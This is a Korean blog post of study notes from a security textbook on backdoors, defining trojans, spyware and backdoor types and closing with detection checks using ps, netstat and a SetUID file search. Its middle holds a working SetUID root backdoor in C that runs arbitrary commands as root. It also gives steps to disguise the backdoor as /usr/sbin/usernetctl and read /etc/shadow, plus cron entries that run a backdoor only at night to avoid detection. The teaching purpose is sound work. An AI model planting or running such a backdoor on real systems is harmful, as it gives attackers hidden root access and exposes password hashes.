맞는데 왜 틀릴까..?

시스템 해킹과 보안

[시스템 해킹과 보안] 백도어

안도일 2022. 12. 9. 13:39

백도어

 

트로이 목마 : 사용자가 의도치 않은 코드를 정상적인 프로그램에 삽입한 프로그램

스파이웨어 : 설치된 시스템의 정보를 주기적으로 원격지의 특정한 서버에 보내는 프로그램

 

백도어 : 원래 의미는 운영체제나 프로그램을 생성할 때 정상적인 인증 과정을 거치지 않고, 운영체제나 프로그램 등에 접근할 수 있도록 만든 일종의 통로. 원래는 원격 관리 프로그램으로 개발되었지만 백도어로 악용됨.

개발된 후에는 삭제되어야 함에도 불구하고 제품에 그대로 남아서 출시.

트로이 목마도 백도어의 한 가지라 할 수 있다.

 

백도어의 종류

 

로컬 백도어 : 로컬에서 서버의 shell을 얻어내 관리자로 권한을 상승할 때 사용. 공격자는 일반 계정이 하나 필요함 (일반 계정에서 root 계정으로 권한 상승)

 

원격 백도어 : 원격으로 관리자 권한을 획득해 시스템에 접근, 네트워크에 자신의 포트를 개방. 로컬 백도어와 달리 시스템 계정이 필요 없음

 

패스워드 크래킹 백도어 : 인증에 필요한 패스워드를 원격지 공격자에게 보내주는 역할

 

시스템 설정 변경 백도어 : 시스템 설정을 해커가 원하는 대로 변경하기 위한 툴

 

트로이 목마 : 정상 프로그램 안에 숨겨진 프로그램. 처음부터 백도어를 목적으로 만들어진 것은 아니지만 백도어로 동작하는 경우, 윈도우에서는 웹 브라우저나 명령 창, 간단한 게임 등도 백도어와 섞을 수 있다. 

 

거짓 업그레이드 : 시스템을 패치하거나 업그레이드할 때 잘못된 프로그램 설치

 

 

SetUID형 로컬 백도어 

 

1. 백도어의 인수(argv [1] 즉, char exec [100])를 system( ) 명령으로 실행하는 형태 backdoor.c  작성

 

#include <stdio.h>

int main (int argc, char *argv[]){
	char exec[100];
	setuid (0);
	setgid (0);
	sprintf (exec, "%s 2>/dev/null ", argv[1]);
	system (exec);
}

 

2. SetUID 비트에 설정과 실행 권한 부여

 

gcc -o backdoor backdoor.c //일반 계정에서 컴파일
chmod 4755 backdoor //루트 계정 전환 후, SetUID 실행 권한 부여

 

 

3. 백도어 동작 확인

 

./backdoor "id"
./backdoor "cat /etc/passwd"
/* 해당 환경에서 /etc/passwd 파일은 일반 계정이 읽을 수 있는 권한이 없도록 설정되어 있음 */

 

 

id 명령 실행 : 관리자 계정으로 출력됨

 

 

4. 백도어 숨기기 1

 

바꿔치기에 적합한 대상 찾기 

find / -perm 4755 
//setuid가 설정된 파일 검색

 

4000 권한이 설정되어 있고, 일반적으로 거의 사용되지 않는 프로그램을 바꿔치기할 대상으로 선택 

( /usr/sbin/usernetctl )

 

 

5. 백도어 숨기기 2

 

/usr/sbin/usernetctl을 실행하여 그 interface를 흉내 내자.

 

/usr/sbin/usernetctl

 

백도어 프로그램 실행 시 위와 똑같이 실행되도록 속일 수 있는 백도어 프로그램을 만들자

주어진 명령의 실행 결과 출력 메시지를 파악하고, 해당 내용을 백도어의 출력 메시지로 설정

 

backdoor.c에 출력 메시지 추가

printf ("usage: usernetctl <interface-config> 
<up|down|report>\n");

 

usernetctl 명령과 같은 결과로 출력되도록 변경한 backdoor 실행 결과

 

 

6. 백도어 숨기기 3

 

backdoor 파일을 usernetctl로 바꾸기

 

mv ./backdoor /usr/sbin/usernetctl

 

바꾼 백도어 이용

 

/usr/sbin/usernetctl "cat /etc/shadow"

 

 

관리자만 읽기 권한이 있는 shadow 파일 읽기 가능

 

 

자동 실행형 백도어 

 

cron 작업 스케줄러 명령을 활용하여 일정 시간이 되면 자체적으로 프로그램을 실행하는 백도어 만들기

 

cron

분 / 시 / 날짜 / 달 / 요일

 

02 4 * * * root run-parts /etc/cron.daily

-> 날짜, 달, 요일에 관계 없이 매일 04시 02분에 실행

 

30 16,17 5-7 */2 * reboot

-> 2개월마다(*/2), 5일부터 7일까지(5-7), 16시 30분/17시 30분(30 16,17)에 재부팅

 

 

ishd라는 백도어가 설치되었다는 가정하에 cron 설정

 

0 4 * * * ./ishd -i 65000 // 4시에 프로세스 생성
0 5 * * * pkill -U root ishd // 5시에 프로세스 실행 종료

 

매일 새벽에만 동작함으로, 탐지하기가 어려워짐

 

 

 

 

 


백도어 탐지와 대응책

프로세스 확인

 

"ps -ef" 명령으로 시스템의 shell과 프로세스 소유자에 관계없이 모든 프로세스 확인

 

ps -ef

 

 

 

 

열린 포트 확인

 

백도어 상당수가 외부와의 통신을 위한 서비스 포트를 생성함

시스템에서는 netstat 명령으로 열린 포트 확인

 

netstat -an

 

 

 

 

SetUID 파일 검사

 

find 명령 이용 시스템에서 SetUID, SetGID가 부여된 파일 검색

 

find / -perm +4000

 

 

 

 

 

 

출처 : 시스템 해킹과 보안: 정보 보안 개론과 실습 저자 : 양대일  출판 :한빛 아카데미